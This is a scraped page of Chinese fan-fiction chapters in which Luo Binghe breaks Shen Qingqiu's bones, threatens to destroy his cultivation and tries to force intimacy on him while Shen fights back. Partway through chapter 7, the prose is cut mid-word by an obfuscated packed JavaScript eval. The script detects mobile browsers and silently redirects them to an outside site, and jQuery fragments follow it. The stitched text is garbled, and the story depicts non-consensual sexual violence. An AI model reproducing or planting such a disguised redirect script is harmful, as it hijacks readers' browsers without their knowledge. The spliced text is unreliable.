    他仿佛看到无数血色污泥般的身影,化为常人难以理解的无形触手,不断拉着他下坠。


    就像是肮脏的血液从岩石岸边缓慢滑落,形成一个不断吞噬外物的流沙潭。


    而此时的他,就如同不小心掉入蜘蛛网的蝴蝶,越挣扎,就陷得越深。


    ————


    “师尊?”冰哥的表情依旧诚恳又认真,捏着沈清秋的手指却像是钢筋一般,牢牢的将对方下巴禁锢住:“难得师尊是想让弟子……”


    这样的对话与局势,是要尽力避免的。沈清秋忍不住抖了一下肩膀,眼神中闪过一丝慌乱与震惊,脑海里飞速盘算着该如何破局:“我不与罔顾人伦的畜生争论。”


    冰哥的神色堪称‘温柔如水’,他的眼里快速闪过一丝对‘温柔沈清秋’的怀念与对‘另一个畜生’的厌恶,以及更多的是憧憬:


    “师尊啊,我若说,您曾亲自给弟子疗伤,还拉着弟子与您同床而眠,您可相信?”


    第七章没有人可以将直男用蛮力掰弯,强制爱更不可能


    ‘有病!’沈清秋暗骂一句,迅速调动体内灵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079699|163333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力,双目微眯,凝于一点,右手猛地砍向冰哥的后颈。趁着冰哥身形不稳的瞬间,敏捷地用左手拍向床铺,借反冲力翻身而起,右腿如钢鞭般狠狠将冰哥踹倒。


    在空中完成一个漂亮的后空翻,如乳燕回巢般,一退四五步远。眼神锐利地快速寻找着结界的薄弱处,试图寻一个逃脱之机。


    “师尊啊。” 冰哥缓缓调整身姿,看着手中摸出信号弹的沈清秋,嘴角勾起一抹饶有兴致的弧度,眼里充盈着被人戏弄的不爽和手中之人不听话的不满。他的声音轻柔而无奈,像极了长辈对任性孩童的轻巧责怪:“你怎么就,不听话呢。”


    沈清秋毫不犹豫地虚空写符,右手并成剑指在空中迅速舞动,引动周围游离的灵气。分布于周遭的灵力如同被牵引的丝线,在空中快速交织成复杂而神秘的符文,被他猛地砸向冰哥:“你疯了吗!”


    冰哥见状,也不再摆出悠闲戏弄的模样,随手召唤出心魔剑,将飞来的符文一一斩碎。他缓慢的踩在地上,看着连衣衫都来不及整理妥善的沈清秋,只觉得这等狼狈之姿,也颇为风韵犹存。


    “师尊,你的剑呢。”冰哥长剑在手,剑势威猛,狭小的空间里,只需要他手腕稍微抖动,就能将整个空间锁定于他的剑势之中。


    反观沈清秋,随身携带的符文应该早就被用尽,否则也无需凌空写符。即使他绘制速度极快,却也快不过冰哥的一剑劈路。


    当沈清秋绘制防御符文,抵挡长剑的攻击时;就无法绘制攻击符文,对敌人造成杀伤性伤害。而当他好不容易引动阵法,攻防兼备的时候,冰哥又干脆一剑劈下,以力破巧。


    狭窄的房间并不适合轻功闪躲,一寸长一寸强,需要现场录制的东西,终究是比不过提前准备。


    “师尊啊,修雅呢。”冰哥再次问道。若他所记不错,另一个世界的‘沈清秋’,是随身携带修雅剑的。而自己世界的那个,记忆太过遥远,但仿佛也很久不用了。


    那么,修雅剑,去了哪里?


    冰哥又是一剑斩过去,长剑在空中划过一道道优美的弧线,带着一往无前的气势,所到之处,连空气都被撕裂,发出尖锐的呼啸声。


    沈清秋依旧是快速闪躲,不停的绘制符箓、兼各种零碎‘暗器’。


    冰哥看问不出什么,身形一闪,瞬间出现在沈清秋面前。轻飘飘挥出一掌,带着透骨的寒气直冲沈清秋心口而去。沈清秋连忙侧身躲避,同时反手一掌拍出,快速化掌为勾,从冰哥腰间取下之前被‘缴获’的折扇来。


    冰哥看着以折扇抵挡自己的沈清秋,心中疑惑更甚。他只是‘吐露’了一下真情,怎么之前还‘好端端’坐在一起喝茶、‘乖巧’躺在自己怀里的人,反应这么大?


    尤其是,他俩都对打这么久了,为何沈清秋的兵器,始终是符箓、毒药、折扇。他的剑呢?改符修转法师去了吗?折扇是近战武器,沈清秋不曾练习外家功夫,遇到像他这般修为碾压之人,如何对打?


    冰哥随手化解沈清秋又一次砸的攻击,嘴角露出一丝嘲讽的笑容:“师尊啊,你莫非是在让弟子?可您若只有这样的攻击力,就莫怪弟子下狠手了。”


    “......”该死的,信号弹发不出去不说,随身符箓全部消耗殆尽,连手中的折扇,都已经摇摇欲坠即将散架。魔族竟对他如此重视,派遣如此高手来捉拿他?


    沈清秋渐渐感到力不从心。修为被控、体内不知为何存在种诡异的力量在不断蚕食他的灵气和体力,手中武器亦被压制,除非他曾修过刺客一类的功法,否则简直被全面碾压。


    洛冰河大大咧咧的问他修雅剑在哪,可他,自那件事后,真的拔不出剑了。


    “你之前所言,究竟何意?”沈清秋决定主动出击,以言语的争论,弥补对战的不足。


    “师尊啊,正如弟子所说,弟子心慕于您,愿与您结百年之好。”冰哥主动停下手中的剑招,以一种近乎虔诚且真挚的神情,看向对面那个明显被雷得震惊三百年的男人。


    “?玛德。”沈清秋爆了粗口。这是什么乱七八糟的玩意,魔族究竟养出了什么东西,用来污染修真界?


    “师尊有何想法,说出来与弟子听听?”冰哥看着脸色一瞬间阴沉得恨不得要灭世的沈清秋,眼中浮现出被人拒绝的不满和宠物不听话的阴霾。


    他的耐性并不是很好,若不是想让对方更合自己心意的主动‘投怀送抱’,他不介意现在就把人压倒床铺上。当然,看着猎物百般努力却逃不掉,也是很有趣的。所以,他愿意陪沈清秋玩一出‘抵抗对打’的戏码。


    “畜生!”


    回复他的,是沈清秋直接以血画符,取舌尖血激活的禁术。


    “师尊,看来不将你的骨头打断,你是真的学不会听话啊。”冰哥手指微动,属于沉睡状态的天魔血被唤醒,他以鬼魅到几乎闪现的速度,出现在沈清秋身后。手指用力,深深的插入到对方消瘦的肩膀中。


    “嘶—”对方忍不住抽一道冷气,却还是不死心的抖动肩膀,试图以弯腰错位的方式,逃离自己的掌控。


    冰哥毫不留情的捏断了他的肩肘链接处,断绝对方抬起双手的资格。用另一只手将对方紧紧揽在自己怀里,眼里有着不理解和疯狂:“为什么,您总是看不见弟子,也不接受弟子?”


    他的手像是钢筋般将人牢牢捆住,紧紧的贴入怀里,胳膊紧锁,杜绝对方的挣扎。他紧盯着疼痛到满脸冷汗,却坚决不求饶的沈清秋,不再打算与对方继续‘玩闹’下去了。


    看来。自己这个,是无法主动的。


    既然如此,那就他‘主动’吧。


    第八章风花雪月、缠绵悱恻,从来都是女频的拿手好戏


    “混账!”沈清秋全身灵力被禁,手腕脚踝被折断,浑身被捆仙绳绑住,衣衫破烂,伤痕累累的被丢在铺盖之上。床榻一开始还是他清理干净用来打坐恢复的,现在却便宜了外人!


    冰哥随手将外衫丢到地上,转而优雅从容、细致缓慢的解着身上配饰:“我记得,您自从登上峰主之位,好像再也不曾动剑。世人传言,是您杀了柳清歌后,再也拿不起来了?”


    沈清秋看着越发大胆张狂,一步步蚕食自己生存空间的冰哥,忍不住一点点向墙面后退,气急败坏、张口就骂:


    “我竟不知自己养了个欺师妄上的徒弟!我没喝你的敬师茶,不是你师傅!有一个你们魔族当弟子,我脸上都无光!”


    洛冰河慢条斯理的将自己鞋袜解开扔下去,又捉住沈清秋乱踢的脚,轻敲了一下他的脚面,脸色认真的替他松开系着小腿的绑绳:“别乱动,踢脏了我们怎么睡?”


    沈清秋感受到从脚尖传来的、近乎摩擦的感触,心里猛的缩紧。


    从他今天感受到魔气的那一刻,他心里就有种隐约不安的预感。甚至说,在他看到冰哥的第一眼,就感受到了对方所带来的压迫感。


    每一寸神经都在绷紧,每一刻都在飞速思考。那是一种对周围环境的直觉、对未来的预判。


    危险,警惕,一定以最快的速度逃离。


    可他不能就那么逃。


    对敌之时,逃亡,意味着退缩。


    而将后背露给敌人,就相当于将脖颈送到对方手上。


    狭路相逢、勇者胜。提不起对战想法的人,只配沦为敌人随手一招砍杀的废物。


    他不仅不能‘落荒而逃’,还要尽可能从容的放松与随意。他越‘体面’,对方越会觉得他有底气、有后手,故…越发,不会第一时间动手。


    他们从见面接触的第一次触碰开始,就在互相试探。


    洛冰河既然知道‘据说您极为厌恶男子触碰’,却又故意接近且触摸他,说明他早就想到并预料且期待会‘被打’。


    而他倒地后脆弱、濒死,用‘不甘心问话’的方式,成功降低沈清秋的警惕。又在快速压制住他后被‘轻松’挣脱,更是无形之间令沈清秋戒心被降到最低。


    以及,方才的自曝‘柳清歌已死’。(柳清歌已死的事实,在后续的联审才被爆出来。)


    一切,都说明了,此人有备而来,心怀不轨。


    明明拥有一击将他击溃的实力,却偏要陪他演戏,搞什么‘濒死吐真情’的戏码;


    明明随时能将他一举踩在脚下,却非要装作力有不逮的样子,任他快速逃脱,让他在希望与绝望之间疯狂挣扎。


    令他反复逃脱却最终被压制,来回逃离却不得其愿,竭尽所能、手段尽出却被无情拽回。


    其心,正如诸葛亮七擒孟获般,希望将沈清秋‘收复’?


    用完全不设限的牢笼,让他反复撞击而出不去,直到伤痕累累,认清‘永远都无法逃脱’的事实后,再也提不起腾飞逃离的想法。


    ——


    可。那又如何?


    敌人的轻视与玩弄,终究会为此付出代价。所有看不起弱者,肆意妄为的人,自会因为他的蔑视而摔下神坛。


    现在无法逃脱的是沈清秋,之后,现如今高高在上的冰哥,又会被谁拽下?


    ————


    沈清秋毫不犹豫的一脚将人踹开,完全不顾及已经骨裂的腿脚,言辞激烈、反抗异常:


    “洛冰河!你个畜牲!你怎么敢的?”


    “劳资怎么会遇见如此寡颜薄耻的玩意!你们魔族都不要脸的吗?你在修真界待那么久,连''廉耻''两个字都不会写?洛冰河你''最好杀了我,否则总有一天我要弄死你!”


    “猪狗不如的畜牲,狗杂种!”


    “杂种,畜牲不如的狗玩意,劳资没一剑砍死你真是手软了!”


    “师尊。继续骂,弟子爱听。”冰哥看着伶牙俐齿的沈清秋,听着他如此鲜活又生动的谩骂,突然感觉到一种踏踏实实的‘真实感’。


    只是吧,即使冰哥对面前的‘沈清秋’满意得不行,他手上动作也没停。


    沈清秋骂一句,他就在他关节处‘捏’上一下。


    猎物过于‘生猛’,即便是层层压制与困锁,也需要将他的骨头打断,令其彻底不能反抗才行。


    当然啦。如果沈清秋不反抗,或者稍微‘服从’那么一点点,冰哥也是可以容忍对方存在些小脾气、小性子的。


    虽然不能如另一个世界的‘柔情似水,佳期如梦’,但烈性之后宫,只需要稍微一点点的‘软化’,都能令人如获至宝。


    他去《渣反》的时候,虽然‘沈清秋’温柔体贴、主动平和,但冰哥却总是有一种莫名的违和感。


    他总觉得,沈清秋不该是那样的。


    那样单纯平和、从不将锋芒展露、与周遭打成一片的‘沈清秋’;与他所遇到的高冷仙尊,太不一样了。


    男频世界观下的仙尊。


    怎么可能没有自己的戾气;没有触之即死的逆鳞;没有冷淡到面无表情、耀眼到要刺透苍穹的锋芒?


    那样平和包容、畏惧权势的灵魂,唯有家人宠爱、环境安定之处,才能将人培养的如此‘单蠢’与‘胆怯’。


    而修真界……


    有那个地方,能养成这样性格的灵魂呢?


    即便是最为讲究血脉的世家大族、最受宠爱的废物嫡系,也万不可能被驯养的如此天真,如此……懦弱。


    而今,他看着肆意谩骂,毫不犹豫将恶毒话语倾洒、腿脚疯狂乱蹬、以一种决绝的态度坚决反抗,恨不得带动大家一起毁灭的‘沈清秋’,只觉得自己终于寻到了心底的缺失——


    第九章有些鸟儿,是关不住的;若要强行驯养,只会收获尸体


    那是一种,大家都不是好人,而你我,堪称外表优雅从容、内里却猩烂狠毒的绝配。


    我杀戮无数、脚下枯骨成堆,而你尖酸刻薄、外表风雅。我们皆是从底层杀出重围的‘成功者’,都是一将功成万骨枯的仙侠至尊。


    我们淡漠无情,对旁人从不怜惜。


    我们冰冷决绝,对敌人一招必杀。


    想要的,从来都是靠自己争抢;想得到的,也永远是付出一切能拼命的,将自己全部身家押上,去赌最后的结局。


    我们不介意过往,因为最后的成功,足以证明踏上的路并无差错。


    而强者的路上,哪怕真的有过错误,只要回报能够覆盖付出,即便是将性命交出,也从不后悔。


    美满的结局是很难达成的,需要无数个机缘巧合与恰到好处。


    胆怯之人、心智不坚之人、无法舍弃一切之人,都无法走下去。


    世间从不缺少传奇,可唯有成功活下来、取得成就的,才配被人传颂。抗争永远伴随着死亡与失去,想要得到什么,就得付出同等的筹码才行。


    这些,另一个世界的‘沈清秋’,都做不到。


    他就像是误入花园深处的旅客,因天真烂漫被旁人所注意,又因莫名其妙的魅力获得众人的团宠,最后竟然凭借着‘傻白甜’,将本可以成就两界至尊的人物,养成属于自己的‘忠犬’。


    太可怕了。


    这种人,甚至比‘洛冰河’还像气运之子,比天道亲自降神更加开挂。


    完全不讲道理的偏爱,就像是‘超级管理员权限-让气运之子对其恋爱百分百’一样,完完全全将剧目里的所有人变成能随意修改数值的NPC,简直GM。


    ——


    当然,面前这个‘沈清秋’,最让冰哥满意的一点是,对方完全遵循‘你打不过我,就只能被我压制’的修真界条例。


    即便现在被压制得缩成一团,内心恨不得直接黑化坠魔、拼个你死我活,却从不觉得这件事存在错误。


    强者赢得一切、为所欲为;弱者于残渣剩饭中、苟延残喘的艰难求生。


    这是修真界铁律,是所有人奉行的规范。无论他是否正确,当所有人遵守的时候,‘它’就是绝对的真理。


    而现在,占据绝对上风的人,是冰哥。


    “若您今日佩剑在手,弟子还需多费些功夫。可惜您一无应对利器,二无法对抗魔气,又狗急跳墙咬下弟子鲜血,今日,必被弟子所擒啊。”


    冰哥得了便宜还卖乖,一边悠哉的抵挡沈清秋乱踢的腿脚,一边温柔的替对方宽衣解带。


    对于沈清秋的反抗,冰哥心中有数。反正都逃不过自己的手掌心,让他骂骂,发泄一下情绪也好,万一回头郁闷坏了,冰哥会心疼的。


    不过,随着沈清秋的抵抗程度越来越大,哪怕是灵力全失、全身筋骨被折断的情况下,冰哥也能感觉到床铺在震动……他真的很担心一会床塌了,两个人是不是要打地铺。


    冰哥一把将沈清秋揽入自己怀里,双腿发力将沈清秋乱蹬的脚控制住,靠床的手将沈清秋的肩膀紧紧抱着,另一只手抚上沈清秋的丹田,威胁道:


    “师尊,您要是再抵抗下去,弟子只能废你修为了。将您全身骨头打断都控制不住您,您让弟子拿您怎么办呢?”


    沈清秋感受着腹部传来的温度,以及指尖在布料上来回摩擦的触感,森冷的寒意从对方身上传来,完全不像活人的温暖。


    对方看似亲密的拥抱着沈清秋,实际上却如同猎手般将人禁锢在以身躯构建的牢笼之中。本该是温馨美满的画面里,只剩下两个人强硬的对阵。


    冰哥的怀抱极紧,像是要将猎物吞噬殆尽、咬碎入腹的凶兽。以骨头为囚牢困锁住无力反抗的人类,就像是索命的阎罗一样,一步步的蚕食着怀中人的生命力与未来。


    灵力被封、骨头磨碎,无法以强大灵力压制对方,也不能用肩肘等硬物抵抗对方的控制,除了尖锐的指甲与锋锐的牙齿外,沈清秋能采用的,便是毒。


    但……他之前已对洛冰河用过毒物,却完全无法取对方性命。如今手中无物、身无利器的他,还能以何种方式破局?


    ——


    冰哥向来说到做到,他说要打断沈清秋的骨头,就真的一处不留,全部关节都被敲损。他说要毁去沈清秋的衣物,在一开始的对打中,就频繁的制造契机。


    而今,他说要毁去沈清秋的修为,就不可能留下能让他抵抗自己的能力——人有失手、马有失蹄,想将人化为自己的所有物,就必须让他失去一切反抗手段才行。


    止不住的颤抖从怀中人身上传来,对以残酷、实力为尊著称的修真界来说,丢掉性命,远不如失去修为可怕。


    死就死了,一刀、一剑、抹个脖子的事情。


    可,没有修为却存活于世;四处树敌却无人庇护;周围还有人虎视眈眈的觊觎着自己的皮囊与根基。


    这样的处境,远比死亡更令人绝望。


    冰哥就不信,沈清秋能‘不怕’。


    ……


    但事实却是。


    沈清秋,拼着丹田破碎的孤勇,以软烂到几乎像是洋娃娃的手腕,从冰哥的头上抽出玉簪,狠狠的插入冰哥头顶的百会穴(假的,莫较真)。


    接着,他以血脉倒流之禁术,以经脉快速扩张和崩裂的代价,强行将天魔之血的debuff压下,为自己争取到短暂的行动时间。


    将仅剩的灵力凝聚于指尖,快速凌空画符,猛咬舌尖,吐出一口精血附灵,将旁边之人牢牢困住。


    左手于床头伸出,将之前对打得几乎散架而‘幸免于难’的折扇取回。轻触机关,扇骨刺出透明细小到几乎看不见的毒针。


    “既然毒杀不得,那就割去项上人头好了。”


    沈清秋的咽喉已经开始溢血,手骨软绵,只能以灵力强行‘握住’折扇。但他眼中的光却极为灿烂:是疯狂拼一次,还是任人摆弄宰割、被收为床宠?


    学习禁术的目的,不就是以伤换对方的性命、以命换敌人更多的性命吗?


    杀一个够本、杀两个血赚。


    他杀了那么多人,用无数敌人的性命铺就自己的‘仙尊’之名。


    靠得,可不是认命。


    只是可惜,这次当真要阴沟翻船,以命搏命了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)